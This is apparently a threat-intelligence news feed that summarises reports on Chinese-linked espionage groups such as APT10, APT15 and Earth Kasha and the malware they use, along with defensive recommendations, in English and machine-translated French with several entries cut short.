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2024-12-12 20:36:12 | Lookout Discovers New Chinese Surveillance Tool Used by Public Security Bureaus (lien direct) | ## Snapshot Researchers at Lookout Threat Lab have identified a new surveillance tool called EagleMsgSpy developed by a Chinese software company. ## Description Operational since at least 2017, this spyware has been used by Chinese law enforcement to extract extensive data from mobile devices. It can access third-party chat messages, call logs, device contacts, SMS messages, location data, and network activity. The tool also features screenshot and screen recording capabilities. According to Lookout\'s analysis, EagleMsgSpy includes two key components: an installer APK and a surveillance payload that operates in the background, concealing its activities from the victim. The source code reveals functions that differentiate between device platforms, suggesting the existence of both Android and iOS versions. However, researchers note that physical access to the target device is required to initiate surveillance and EagleMsgSpy has not been found on Google Play or other app stores. Lookout further reports that domain infrastructure linked to EagleMsgSpy overlaps with those associated with public security bureaus in mainland China. This connection indicates widespread use of the tool within the region. Additionally, EagleMsgSpy shares ties with other Chinese surveillance apps, such as PluginPhantom and CarbonSteal, suggesting its role in a broader ecosystem of state-sponsored surveillance targeting various groups in China. ## Microsoft Analysis and Additional OSINT Context Chinese cyber threat actors have been [widely reported](https://www.bloomberg.com/news/articles/2022-11-10/lookout-researchers-say-spyware-tied-to-china-is-targeting-apps-used-by-uyghurs?srnd=technology-vp&sref=E9Urfma4) to employ advanced surveillance tools to conduct targeted espionage against minority groups -- particularly the Uyghurs -- and against activists, journalists, and dissidents both within China and abroad. These tools are designed to quietly infiltrate devices, monitor communications, collect sensitive data, and allow for real-time tracking of individuals. In 2021, [Meta reported](https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/) that it disrupted a campaign by Earth Empusa which aimed to distribute [PluginPhantom](https://unit42.paloaltonetworks.com/unit42-pluginphantom-new-android-trojan-abuses-droidplugin-framework/) and [ActionSpy](https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html) to target Uyghurs living in China and abroad in Turkey, Kazakhstan, the United States, Syria, Australia, and Canada, among other countries. Earlier this year, Lookout Threat Lab detailed [BadBazaar](https://www.lookout.com/threat-intelligence/article/badbazaar-surveillanceware-apt15), a surveillance tool attributed to APT15, tracked by Microsoft as [Nylon Typhoon](https://security.microsoft.com/intel-profiles/6c01b907db21988312af12a7569e4b53eaaeffe1c82c5acd622972735b5c95dc), used to target Tibetan and Uyghur minorities in China. At least one variant of the tool, masquerading as an app called "TibetOne" was distributed via Telegram in a channel named, "tibetanphone." ## Recommendations Microsoft recommends the following mitigations to reduce the impact of this threat. - Only install apps from trusted sources and official stores, like the Google Play Store and Apple App Store. - Never click on unknown links received through ads, SMS messages, emails, or similar untrusted sources. Use mobile solutions such as [Microsoft Defender for Endpoint](https://learn.microsoft.com/microsoft-365/security/defender-endpoint/microsoft-defender-endpoint-android?view=o365-worldwide) on Android to detect malicious applications - Always keep Install unknown apps disabled on the Android device to prevent apps from being installed from unknown sources. - Avoid granting SMS permissions, notification listener access, or accessibility access to any applications without a strong unde | Malware Tool Threat Legislation Mobile | APT 15 | ★★★ |
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2024-11-25 12:11:18 | Weekly OSINT Highlights, 25 November 2024 (lien direct) | ## Snapshot Last week\'s OSINT reporting reveals a persistent focus on sophisticated attacks targeting diverse sectors, from critical infrastructure to financial services and national defense. Attack types ranged from ransomware and phishing to cyberespionage and supply chain attacks, often leveraging advanced malware like LODEINFO, Asyncshell, and DEEPDATA. Threat vectors predominantly exploit unpatched vulnerabilities, malvertising, supply chain attacks, and credential harvesting, with phishing and social engineering remaining prominent tactics. Notable actors include APT groups such as Gelsemium and BrazenBamboo, alongside cybercriminal collectives like Ignoble Scorpius and Water Barghest, targeting organizations across the US, Europe, and Asia. The findings underscore the growing complexity of cyber threats, emphasizing the need for proactive threat intelligence and robust cybersecurity defenses. ## Description 1. [Helldown Ransomware Campaign](https://sip.security.microsoft.com/intel-explorer/articles/2af97093): Sekoia researchers detailed the Helldown ransomware exploiting a Zyxel firewall vulnerability (CVE-2024-42057) to infiltrate corporate networks. Primarily targeting SMBs in the US and Europe, the attackers deploy Linux and Windows ransomware variants for data extortion and VM encryption. 1. [APT-K-47 Asyncshell Malware](https://sip.security.microsoft.com/intel-explorer/articles/aac966a9): Knownsec reported APT-K-47\'s use of Hajj-themed lures and malicious CHM files to distribute Asyncshell malware. The campaign, targeting South Asian countries, utilizes upgraded stealth tactics and evolving C2 infrastructure for long-term espionage. 1. [Linux Backdoors by Gelsemium](https://sip.security.microsoft.com/intel-explorer/articles/fc22b3bb): ESET researchers identified WolfsBane and FireWood backdoors used by the China-linked APT group Gelsemium for cyberespionage. These tools enable stealthy, persistent access to Linux systems, targeting sensitive data and emphasizing APT trends toward exploiting Linux environments. 1. [Lottie-Player Supply Chain Attack](https://sip.security.microsoft.com/intel-explorer/articles/86e2a9b6): ReversingLabs discovered a supply chain attack on the npm package @lottiefiles/lottie-player, compromising web3 wallets through malicious code. This incident highlights vulnerabilities in open-source ecosystems and the risk of compromised developer credentials. 1. [VMware Vulnerabilities Exploited](https://sip.security.microsoft.com/intel-explorer/articles/2eda898d): CISA added two VMware vulnerabilities, CVE-2024-38812 and CVE-2024-38813, to the Known Exploited Vulnerabilities Catalog. These flaws, involving heap overflow and privilege escalation, threaten vCenter Server and Cloud Foundation environments, emphasizing the need for immediate patching. 1. [Phishing Campaign Targeting Telecom and Financial Sectors](https://sip.security.microsoft.com/intel-explorer/articles/29972b65): EclecticIQ reported a phishing campaign using Google Docs and Weebly to bypass detection, targeting telecom and financial sectors. Threat actors employed tailored lures, fake MFA prompts, and SIM-swapping tactics to steal sensitive data. 1. [Lumma Stealer Distributed via Telegram](https://sip.security.microsoft.com/intel-explorer/articles/f250caee): McAfee researchers observed Lumma Stealer disguised as cracked software and distributed through Telegram channels. The malware targets users in India, the US, and Europe, stealing cryptocurrency and personal data via sophisticated injection techniques. 1. [Rise of ClickFix Social Engineering](https://sip.security.microsoft.com/intel-explorer/articles/67d03ba9): Proofpoint researchers identified ClickFix, a social engineering tactic that tricks users into executing malicious PowerShell commands, leading to malware infections such as AsyncRAT and DarkGate. Used by groups like TA571 and ClearFake, the method targets Ukrainian entities and employs malvertising, GitHub notifications, and CAPTCHA phishing lures. | Ransomware Malware Tool Vulnerability Threat Patching Industrial Prediction Cloud | APT 10 | ★★ |
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2024-11-19 21:54:53 | Spot the Difference: Earth Kasha\'s New LODEINFO Campaign And The Correlation Analysis With The APT10 Umbrella (lien direct) | #### Targeted Geolocations - Japan - India - Taiwan #### Targeted Industries - Government Agencies & Services - Information Technology - Transportation Systems - Aviation - Education ## Snapshot Trend Micro has released a report detailing the activities of Earth Kasha, a cyberespionage group known for leveraging the LODEINFO malware, primarily targeting entities in Japan. While some researchers suggest a connection to APT10, Trend Micro considers Earth Kasha a distinct entity within the "APT10 Umbrella," a term denoting groups linked to APT10\'s operational methods. This distinction arises from shared tactics and malware but insufficient direct evidence to conflate the two groups entirely. APT10 is tracked by Microsoft as [Purple Typhoon](https://security.microsoft.com/intel-profiles/e2ce50467bf60953a8838cf5d054caf7f89a0a7611f65e89a67e0142211a1745?tab=description&). ## Description Since early 2023, Earth Kasha has expanded its operations beyond Japan to include high-profile targets in Taiwan and India, focusing on government agencies and advanced technology industries. Their recent campaigns exhibit a strategic evolution, using vulnerabilities in public-facing enterprise applications, such as FortiOS/FortiProxy and Array AG, to gain initial access. Post-exploitation activities emphasize persistence, lateral movement, and credential theft, deploying backdoors like LODEINFO, NOOPDOOR, and the Cobalt Strike framework. The LODEINFO malware, central to Earth Kasha\'s campaigns, has undergone continuous development, with new versions observed in recent attacks. This malware is used alongside tools like MirrorStealer, which extracts credentials from browsers and email clients, and NOOPDOOR, a sophisticated backdoor with advanced evasion techniques. These tools enable extensive data theft and infiltration of victim networks. Comparative analysis highlights overlaps between Earth Kasha and other APT10-associated campaigns, particularly in tactics like exploiting SSL-VPN vulnerabilities and abusing legitimate tools for credential harvesting. However, toolsets differ, suggesting operational independence while potentially sharing resources or operators.Trend Micro\'s medium-confidence attribution of Earth Kasha underscores its ties to the broader APT10 network but stops short of confirming direct control. The group\'s distinct operational focus and adaptive methods indicate a specialized role within this cyber threat ecosystem. These findings highlight the complexity of attribution in modern cyber warfare and the evolving capabilities of threat actors like Earth Kasha. ## Microsoft Analysis and Additional OSINT Context The threat actor Microsoft tracks as [Purple Typhoon](https://security.microsoft.com/intel-profiles/e2ce50467bf60953a8838cf5d054caf7f89a0a7611f65e89a67e0142211a1745?tab=description&) is a long-running, targeted activity group which has had success in compromising targets from as early as 2009. This activity group has targeted various government entities and industry sectors such as engineering, critical manufacturing, communications infrastructure, and defense. Most of its activity has been spread across a wide geographic area; however, localized targeting using specific malware families has been observed, which suggests possible subgroups are contained within the wider Purple Typhoon group. ## Recommendations Microsoft recommends the following mitigations to reduce the impact of this threat. - Turn on [cloud-delivered protection](https://learn.microsoft.com/en-us/defender-endpoint/linux-preferences) in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats. - Run [EDR in block mode](https://learn.microsoft.com/microsoft-365/security/defender-endpoint/edr-in-block-mode?view=o365-worldwide?ocid=magicti_ta_learndoc) so tha | Malware Tool Vulnerability Threat Prediction | APT 10 | ★★ |
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2024-11-19 00:00:00 | Spot the Difference: Earth Kasha\\'s New LODEINFO Campaign And The Correlation Analysis With The APT10 Umbrella (lien direct) | LODEINFO is a malware used in attacks targeting mainly Japan since 2019. Trend Micro has been tracking the group as Earth Kasha. We have identified a new campaign connected to this group with significant updates to their strategy, tactics, and arsenals.
LODEINFO is a malware used in attacks targeting mainly Japan since 2019. Trend Micro has been tracking the group as Earth Kasha. We have identified a new campaign connected to this group with significant updates to their strategy, tactics, and arsenals. |
Malware Prediction | APT 10 | ★★ |
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2024-10-14 21:26:20 | Faits saillants hebdomadaires, 14 octobre 2024 Weekly OSINT Highlights, 14 October 2024 (lien direct) |
## Snapshot Last week\'s OSINT reporting highlights a complex landscape of cyber threats with a focus on APT groups, sophisticated malware, and exploitation of vulnerabilities. Many attacks are espionage-focused, with China-aligned groups like CeranaKeeper, Iran\'s Hazel Sandstorm, and Russia\'s Midnight Blizzard (SVR) leveraging spearphishing and vulnerability exploitation for intelligence gathering. Ransomware also remains a dominant attack type, with threat actors leveraging double extortion tactics to maximize pressure on victims. A surge in reporting on malware distribution was also observed, including Lua-based malware in the education sector and Pronsis Loader delivering Lumma Stealer. Additionally, multiple reports detail widespread campaigns leveraging phishing, malvertising, and cryptomining, with key targets being government institutions, financial services, and critical infrastructure. Attackers employ diverse techniques such as DNS tunneling, USB-based malware, and exploit known vulnerabilities like EternalBlue (CVE-2017-0144) and FortiOS (CVE-2024-23113). ## Description Last week\'s OSINT reporting highlights a complex landscape of cyber threats with a focus on APT groups, sophisticated malware, and exploitation of vulnerabilities. Many attacks are espionage-focused, with China-aligned groups like CeranaKeeper, Iran\'s Hazel Sandstorm, and Russia\'s Midnight Blizzard (SVR) leveraging spearphishing and vulnerability exploitation for intelligence gathering. Ransomware also remains a dominant attack type, with threat actors leveraging double extortion tactics to maximize pressure on victims. A surge in reporting on malware distribution was also observed, including Lua-based malware in the education sector and Pronsis Loader delivering Lumma Stealer. Additionally, multiple reports detail widespread campaigns leveraging phishing, malvertising, and cryptomining, with key targets being government institutions, financial services, and critical infrastructure. Attackers employ diverse techniques such as DNS tunneling, USB-based malware, and exploit known vulnerabilities like EternalBlue (CVE-2017-0144) and FortiOS (CVE-2024-23113). 1. [CeranaKeeper Targets Thai Government](https://sip.security.microsoft.com/intel-explorer/articles/b3aa72ef): ESET uncovered a new China-aligned APT, CeranaKeeper, targeting government institutions in Thailand, using unique tools for data exfiltration via cloud services. The group adapts its malware for stealth and has been mistakenly linked to Mustang Panda due to some shared methods. 2. [Largest DDoS Attack Mitigated](https://sip.security.microsoft.com/intel-explorer/articles/74f06d55): Cloudflare mitigated the largest publicly disclosed DDoS attack, peaking at 3.8 Tbps, which targeted financial services, internet, and telecom organizations globally. Akamai also identified a critical vulnerability in CUPS servers, potentially creating a new vector for DDoS amplification. 3. [Cuckoo Spear\'s Sophisticated Tools](https://sip.security.microsoft.com/intel-explorer/articles/d47fc595): Cybereason exposed the Cuckoo Spear campaign by APT10, using NOOPLDR and NOOPDOOR to conduct espionage against Japanese industries and governments. These advanced tools employ anti-detection techniques and facilitate network pivoting for exfiltration. 4. [Mamba 2FA Phishing Campaign](https://sip.security.microsoft.com/intel-explorer/articles/bfcb80ed): Sekoia identified a phishing campaign using Mamba 2FA, a PhaaS platform, to steal credentials and session cookies from Microsoft services. Attackers exploited MFA weaknesses and used Telegram bots for data exfiltration. 5. [Golden Jackal\'s Air-Gapped System Attacks](https://sip.security.microsoft.com/intel-explorer/articles/f0234a25): ESET researchers discovered Golden Jackal targeting European government organizations with tools designed to breach air-gapped systems. The group uses USB-based malware for espionage and data exfiltration. 6. [Awaken Likho Targets Russian Agencies](https://sip.security.microsoft.com/in | Ransomware Malware Tool Vulnerability Threat Patching Industrial Medical Cloud | APT 29 APT 10 GoldenJackal | ★★ |
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2024-10-07 19:22:45 | CUCKOO SPEAR PARTIE 2: acteur de menace Arsenal CUCKOO SPEAR Part 2: Threat Actor Arsenal (lien direct) |
## Snapshot Cybereason Security Services Team uncovered sophisticated capabilities of the Cuckoo Spear tools, NOOPLDR and NOOPDOOR. ## Description NOOPLDR variants, including NOOPLDR-DLL and NOOPLDR-C#, establish persistence by registering as services and injecting shellcode into system processes. NOOPLDR-DLL uses code obfuscation, dynamic custom syscalls, and modified legitimate DLLs to evade detection, while NOOPLDR-C# employs heavy obfuscation, time stomping, and executes C# code from XML files using msbuild.exe. Both loaders retrieve and decrypt shellcode from the registry or a .dat file, using AES encryption with keys derived from the machine\'s unique identifiers. NOOPDOOR malware, associated with NOOPLDR, has client and server components designed for stealth and persistence. The client-side features API hashing, anti-debugging, a domain generation algorithm (DGA), and a custom TCP protocol for data exfiltration. The server-side is capable of modifying firewall rules and executing commands for network pivoting. The campaign has ties to the well-known APT10 group, showing clear links between multiple incidents while revealing new tools and strategies employed by the attackers. Cuckoo Spear mainly targeted Japanese companies in the manufacturing, political, and industrial sectors, with cyber espionage as its primary goal. ## Microsoft Analysis Researchers at Cybereason assess the threat actor to be APT10. Microsoft tracks APT10 as [Purple Typhoon](https://security.microsoft.com/intel-profiles/e2ce50467bf60953a8838cf5d054caf7f89a0a7611f65e89a67e0142211a1745) Purple Typhoon (POTASSIUM), the activity group also known as APT 10, Stone Panda, Cloud Hopper, Red Apollo, or menuPass, has been reported to be responsible for global intrusion campaigns from 2006. These campaigns aimed to steal intellectual property and confidential business information from defense contractors and government agencies in the United States. The group was also observed launching attacks against a diverse set of other verticals, including communications, energy, space aviation. Notably, the group targeted managed service providers (MSPs) with presence in Brazil, Canada, Finland, France, Germany, India, Japan, Sweden, Switzerland, United Arab Emirates, and the United Kingdom. Compromising MSPs provided Purple Typhoon a launchpad for infiltrating organizations whose IT infrastructures and/or end-user systems are managed by these MSPs. Known to initially compromise targets via spear-phishing emails that deliver malicious payloads in the form of remote access trojans (RATs), the group steals administrator credentials to move laterally across target systems, maintain persistence, and exfiltrate high-value information. The malicious payloads typically utilized by Purple Typhoon include three main RATs called REDLEAVES, UPPERCUT and CHCHES. On December 17, 2018, the US government indicted two members of Purple Typhoon. On January 2, 2019, the Federal Bureau of Investigation shared indicators of compromise (IOCs) to aid in customer protection. Using these IOCs, which the security community further corroborated, along with Microsoft\'s own IOCs and telemetry, we have put in place enhanced detection mechanisms that can help guard against possible attacks coming from this group. ## Recommendations Apply these mitigations to reduce the impact of this threat. - Apply security updates to vulnerable VPN solutions. - Require multi-factor authentication (MFA) for local device access, RDP access, and remote connections through VPN. Use password-less solutions like [Microsoft Authenticator](https://www.microsoft.com/en-us/account/authenticator/). For further guidance, read about: - [Set up multi-factor authentication for Office 365](https://docs.microsoft.com/en-us/office365/admin/security-and-compliance/set-up-multi-factor-authentication?view=o365-worldwide) - [Use two-step verification with consumer accounts](https://support.microsoft.com/en-us/help/ | Malware Tool Threat Industrial Cloud | APT 10 | ★★★ |
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2024-09-23 16:05:03 | Faits saillants hebdomadaires OSINT, 23 septembre 2024 Weekly OSINT Highlights, 23 September 2024 (lien direct) |
## Snapshot Last week\'s OSINT reporting reveals a landscape dominated by complex, multi-layered attacks targeting critical infrastructure, financial sectors, and cloud environments. Nation-state actors, like China\'s Flax Typhoon and Iran\'s UNC1860, leverage botnets, IoT exploits, and sophisticated backdoors to infiltrate government, military, and industrial targets. The emergence of groups such as Earth Baxia highlights the continued exploitation of vulnerabilities like CVE-2024-36401 and spear-phishing tactics in the Asia-Pacific region. Meanwhile, cybercriminals, including SCATTERED SPIDER (Octo Tempest) and those behind the Lumma Stealer campaigns, utilize social engineering, fake CAPTCHA pages, and WebDAV for malware distribution to evade detection and deploy ransomware and infostealers. Exploits underscore the increasing use of open-source vulnerabilities, with attackers targeting a diverse range of industries, including IT, telecommunications, and finance. These attacks highlight evolving tactics, advanced persistence mechanisms, and stealthy malware being used to target sensitive data globally. ## Description 1. [Raptor Train Botnet Operated by Flax Typhoon](https://sip.security.microsoft.com/intel-explorer/articles/9118dcb6): Black Lotus Labs uncovered the massive Raptor Train botnet, operated by Chinese nation-state group Flax Typhoon. This IoT botnet, consisting of compromised routers, cameras, and other devices, has targeted U.S. and Taiwanese entities across sectors like military and government, making it one of the largest Chinese state-sponsored botnets to date. 2. [Exploitation of GeoServer Vulnerability (CVE-2024-36401)](https://sip.security.microsoft.com/intel-explorer/articles/e7a82171): Threat actors are exploiting a remote code execution (RCE) vulnerability in GeoServer to deliver malware such as GOREVERSE, SideWalk, and CoinMiner. Campaigns have targeted IT, telecom, and government sectors across multiple countries, using sophisticated backdoors and botnets to compromise systems. 3. [WebDAV Used to Distribute Emmenthal Loader](https://sip.security.microsoft.com/intel-explorer/articles/6dec4139): Cybercriminals are using WebDAV servers to distribute the Emmenthal loader (aka PeakLight), which delivers infostealers via malicious .lnk files. This infrastructure is likely part of a larger cybercrime operation offering infrastructure as a service (IaaS), and its stealthy, memory-only execution technique poses a significant threat to global cybersecurity. 4. [Iran\'s UNC1860 Targets Middle Eastern Networks](https://sip.security.microsoft.com/intel-explorer/articles/e882507d): Mandiant assesses UNC1860 is likely linked to Iran\'s Ministry of Intelligence and Security (MOIS) and focuses on persistent access to government and telecom organizations in the Middle East. The group leverages sophisticated tools, such as TEMPLEPLAY and VIROGREEN, and exploits internet-facing servers to evade detection. 5. [Cuckoo Spear Campaign Tied to APT10](https://sip.security.microsoft.com/intel-explorer/articles/8f34c36c): Cybereason discovered the "Cuckoo Spear" campaign, attributed to APT10, targeting Japanese manufacturing and political sectors. The attackers used advanced tools like LODEINFO and NOOPLDR to maintain long-term espionage operations, employing tactics like DLL side-loading and phishing. 6. [PondRAT Campaign Linked to North Korean Group](https://sip.security.microsoft.com/intel-explorer/articles/906408c8): Unit 42 identified the PondRAT campaign, attributed to Gleaming Pisces (Citrine Sleet), which targets Linux and macOS systems through infected PyPI packages. The goal is to compromise the supply chain, particularly in the cryptocurrency sector, by delivering backdoor malware to developers\' machines. 7. [Phishing Campaign Distributes Lumma Stealer](https://sip.security.microsoft.com/intel-explorer/articles/3cb5d189): A phishing campaign abuses GitHub repositories by filing false security vulnerability reports to lure users into downloading the Lumma Stealer malware. The | Ransomware Malware Tool Vulnerability Threat Mobile Industrial Prediction Cloud Conference | APT 10 | ★★ |
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2024-09-20 13:20:01 | CUCKOO SPEAR Part 1: Analyzing NOOPDOOR from an IR Perspective (lien direct) | #### Géolocations ciblées - Japon #### Industries ciblées - des groupes politiques et autres - Autres entités commerciales - Installations commerciales ## Instantané Des chercheurs de Cybearon ont découvert une campagne de menaces au niveau de l'État-nation nommée "Cuckoo Spear" qui a persisté sur les réseaux victimes pendant plusieurs années en utilisant des techniques sophistiquées. ## Description La campagne a des liens avec le groupe APT10 bien connu, montrant des liens clairs entre plusieurs incidents tout en révélant de nouveaux outils et stratégies utilisés par les attaquants.Cuckoo Spear a principalement ciblé les entreprises japonaises dans les secteurs de la fabrication, des politiques et industriels, avec le cyber-espionnage comme objectif principal. Les attaquants ont utilisé des logiciels malveillants furtifs, y compris une version mise à jour de Lodeinfo, un outil précédemment associé à l'APT10.Les chercheurs ont également identifié deux nouveaux composants de logiciels malveillants: NOOPLDR, une porte dérobée de persistance, et NOOPDOOR, qui a utilisé un algorithme de génération de domaine (DGA) pour les communications et le relais de réseau interne.Certaines victimes ont accueilli sans le savoir ces acteurs au sein de leurs systèmes jusqu'à deux à trois ans. L'accès initial aux réseaux cibles a été principalement réalisé grâce à des attaques de phishing, bien que la cyber-saison ait également observé que l'exploitation d'applications accessibles au public ait également été observée.Les attaquants ont utilisé des techniques avancées telles que le chargement latéral DLL et l'exploitation MSBuild pour maintenir la persistance. L'infrastructure derrière Cuckoo Spear a exploité les services DNS dynamiques et les domaines enregistrés pour gérerleur campagne.[Strike Cobalt] (https://security.microsoft.com/intel-profiles/fd8511c1d61e93d39411acf36a31130a6795efe186497098fe0c6f2ccfb920fc),Lodeinfo, NOOPLDR et NOOPDOOR ont tous joué des rôles dans le maintien de la persistance et l'activation du mouvement latéral à travers les environnements compromis, permettant aux attaquants de rester non détectés lors de l'exécution d'espionnage à long terme. ## Recommandations Appliquez ces atténuations pour réduire l'impact de cette menace.Vérifiez la carte de recommandations pour l'état de déploiement des atténuations surveillées. - Appliquer des mises à jour de sécurité aux solutions VPN vulnérables. - Exiger l'authentification multi-facteurs (MFA) pour l'accès des périphériques locaux, l'accès RDP et les connexions distantes via VPN.Utilisez des solutions sans mot de passe comme [Microsoft Authenticator] (https://www.microsoft.com/en-us/account/authenticator/).Pour plus de conseils, lisez sur: - [Configurer l'authentification multi-facteurs pour Office 365] (https://docs.microsoft.com/en-us/office365/admin/security-and-compliance/set-up-multi-factor-authentication?view=O365-mondial) - [Utilisez une vérification en deux étapes avec les comptes de consommation] (https://support.microsoft.com/en-us/help/12408/microsoft-account-how-to-use-setwo-tep-verrification) - Utilisez le pare-feu Microsoft Defender et votre pare-feu réseau pour empêcher la communication des appels de procédure distante (RPC) et un bloc de messages (SMB) entre les points de terminaison dans la mesure du possible.Cela limite le mouvement latéral ainsi que d'autres activités d'attaque. - Allumez la protection livrée par le cloud et la soumission automatique des échantillons sur Microsoft Defender Antivirus.Ces capacités utilisent l'IA et l'apprentissage automatique pour identifier et arrêter rapidement les menaces nouvelles et inconnues. - Pratiquez le principe du moindre privile et maintenez l'hygiène des références.Évitez l'utilisation des comptes de service au niveau de l'administration à l'échelle du domaine.Restreindre les privilèges administr | Malware Tool Threat Industrial Commercial | APT 10 | ★★ |
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2024-07-17 14:17:00 | APT17 lié à la Chine cible les sociétés italiennes avec 9002 logiciels malveillants de rat China-linked APT17 Targets Italian Companies with 9002 RAT Malware (lien direct) |
Un acteur de menace lié à la Chine appelée APT17 a été observé ciblant les entreprises italiennes et les entités gouvernementales en utilisant une variante d'un logiciel malveillant connu appelé 9002 rat.
Les deux attaques ciblées ont eu lieu le 24 juin et le 2 juillet 2024, a déclaré TG Soft, la société italienne de cybersécurité, a déclaré dans une analyse publiée la semaine dernière.
"La première campagne le 24 juin 2024 a utilisé un document de bureau, tandis que le second
A China-linked threat actor called APT17 has been observed targeting Italian companies and government entities using a variant of a known malware referred to as 9002 RAT. The two targeted attacks took place on June 24 and July 2, 2024, Italian cybersecurity company TG Soft said in an analysis published last week. "The first campaign on June 24, 2024 used an Office document, while the second |
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2024-06-05 14:00:00 | Phishing pour l'or: cyber-menaces auxquelles sont confrontés les Jeux olympiques de Paris 2024 Phishing for Gold: Cyber Threats Facing the 2024 Paris Olympics (lien direct) |
Written by: Michelle Cantos, Jamie Collier
Executive Summary Mandiant assesses with high confidence that the Paris Olympics faces an elevated risk of cyber threat activity, including cyber espionage, disruptive and destructive operations, financially-motivated activity, hacktivism, and information operations. Olympics-related cyber threats could realistically impact various targets including event organizers and sponsors, ticketing systems, Paris infrastructure, and athletes and spectators traveling to the event. Mandiant assesses with high confidence that Russian threat groups pose the highest risk to the Olympics. While China, Iran, and North Korea state sponsored actors also pose a moderate to low risk. To reduce the risk of cyber threats associated with the Paris Olympics, organizations should update their threat profiles, conduct security awareness training, and consider travel-related cyber risks. The security community is better prepared for the cyber threats facing the Paris Olympics than it has been for previous Games, thanks to the insights gained from past events. While some entities may face unfamiliar state-sponsored threats, many of the cybercriminal threats will be familiar. While the technical disruption caused by hacktivism and information operations is often temporary, these operations can have an outsized impact during high-profile events with a global audience. Introduction The 2024 Summer Olympics taking place in Paris, France between July and August creates opportunities for a range of cyber threat actors to pursue profit, notoriety, and intelligence. For organizations involved in the event, understanding relevant threats is key to developing a resilient security posture. Defenders should prepare against a variety of threats that will likely be interested in targeting the Games for different reasons: Cyber espionage groups are likely to target the 2024 Olympics for information gathering purposes, due to the volume of government officials and senior decision makers attending. Disruptive and destructive operations could potentially target the Games to cause negative psychological effects and reputational damage. This type of activity could take the form of website defacements, distributed denial of service (DDoS) attacks, the deployment of wiper malware, and operational technology (OT) targeting. As a high profile, large-scale sporting event with a global audience, the Olympics represents an ideal stage for such operations given that the impact of any disruption would be significantly magnified. Information operations will likely leverage interest in the Olympics to spread narratives and disinformation to target audiences. In some cases, threat actors may leverage disruptive and destructive attacks to amplify the spread of particular narratives in hybrid operations. Financially-motivated actors are likely to target the Olympics in v |
Ransomware Malware Threat Studies Mobile Cloud Technical | APT 15 APT 31 APT 42 | ★★ |
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2024-05-22 14:00:00 | Extinction de l'IOC?Les acteurs de cyber-espionnage de Chine-Nexus utilisent des réseaux orbes pour augmenter les coûts des défenseurs IOC Extinction? China-Nexus Cyber Espionage Actors Use ORB Networks to Raise Cost on Defenders (lien direct) |
Written by: Michael Raggi
Mandiant Intelligence is tracking a growing trend among China-nexus cyber espionage operations where advanced persistent threat (APT) actors utilize proxy networks known as “ORB networks” (operational relay box networks) to gain an advantage when conducting espionage operations. ORB networks are akin to botnets and are made up of virtual private servers (VPS), as well as compromised Internet of Things (IoT) devices, smart devices, and routers that are often end of life or unsupported by their manufacturers. Building networks of compromised devices allows ORB network administrators to easily grow the size of their ORB network with little effort and create a constantly evolving mesh network that can be used to conceal espionage operations. By using these mesh networks to conduct espionage operations, actors can disguise external traffic between command and control (C2) infrastructure and victim environments including vulnerable edge devices that are being exploited via zero-day vulnerabilities. These networks often use both rented VPS nodes in combination with malware designed to target routers so they can grow the number of devices capable of relaying traffic within compromised networks. Mandiant assesses with moderate confidence that this is an effort to raise the cost of defending an enterprise\'s network and shift the advantage toward espionage operators by evading detection and complicating attribution. Mandiant believes that if network defenders can shift the current enterprise defense paradigm away from treating adversary infrastructure like indicators of compromise (IOCs) and instead toward tracking ORB networks like evolving entities akin to APT groups, enterprises can contend with the rising challenge of ORB networks in the threat landscape. IOC Extinction and the Rise of ORB Networks The cybersecurity industry has reported on the APT practice of ORB network usage in the past as well as on the functional implementation of these networks. Less discussed are the implications of broad ORB network usage by a multitude of China-nexus espionage actors, which has become more common over recent years. The following are three key points and paradigm shifting implications about ORB networks that require enterprise network defenders to adapt the way they think about China-nexus espionage actors: ORB networks undermine the idea of “Actor-Controlled Infrastructure”: ORB networks are infrastructure networks administered by independent entities, contractors, or administrators within the People\'s Republic of China (PRC). They are not controlled by a single APT actor. ORB networks create a network interface, administer a network of compromised nodes, and contract access to those networks to multiple APT actors that will use the ORB networks to carry out their own distinct espionage and reconnaissance. These networks are not controlled by APT actors using them, but rather are temporarily used by these APT actors often to deploy custom tooling more conventionally attributable to known China-nexus adversaries. ORB network infrastructure has a short lifesp |
Malware Tool Vulnerability Threat Prediction Cloud Commercial | APT 15 APT 5 APT 31 | ★★★ |
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2023-08-31 09:18:59 | ESET découvre un groupe d\'espionnage aligné avec les intérêts chinois usurpant les applications Signal et Telegram (lien direct) | ESET découvre un groupe d'espionnage aligné avec les intérêts chinois usurpant les applications Signal et Telegram Télémétrie ESET pour les applications trojanisées. ● ESET Research a découvert des applications Signal et Telegram trojanisées pour Android, nommées Signal Plus Messenger et FlyGram, sur Google Play et Samsung Galaxy Store ; les deux applications ont ensuite été supprimées de Google Play. ● Signal Plus Messenger représente le premier cas documenté d'espionnage des communications Signal en liant secrètement et automatiquement l'appareil compromis à l'appareil Signal de l'attaquant. ● Le code malveillant trouvé dans ces applications est attribué à la famille de logiciels malveillants BadBazaar, qui a été utilisée dans le passé par un groupe APT aligné sur les intérêts de la Chine, nommé GREF. ● Des milliers d'utilisateurs ont téléchargé les applications d'espionnage. La télémétrie d'ESET a signalé des détections sur des appareils Android dans plusieurs pays de l'UE, aux États-Unis, en Ukraine et dans d'autres endroits du monde. ● Le malware BadBazaar a déjà été utilisé pour cibler les Ouïghours et d'autres minorités ethniques turques. Le malware FlyGram a également été vu partagé dans un groupe Telegram ouïghour, ce qui correspond au ciblage précédent de la famille de logiciels malveillants BadBazaar. - Malwares | Malware | APT 15 | ★★ |
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2023-08-19 10:07:14 | Les pirates utilisent le certificat de code VPN Provider \\ pour signer des logiciels malveillants Hackers use VPN provider\\'s code certificate to sign malware (lien direct) |
Le groupe APT (Advanced Advanced Persistance Menace) aligné en Chine connu sous le nom de \\ 'Bronze Starlight \' a été vu ciblant l'industrie du jeu d'Asie du Sud-Est avec des logiciels malveillants signés en utilisant un certificat valide utilisé par le fournisseur IVACY VPN.[...]
The China-aligned APT (advanced persistent threat) group known as \'Bronze Starlight\' was seen targeting the Southeast Asian gambling industry with malware signed using a valid certificate used by the Ivacy VPN provider. [...] |
Malware | APT 10 | ★★★ |
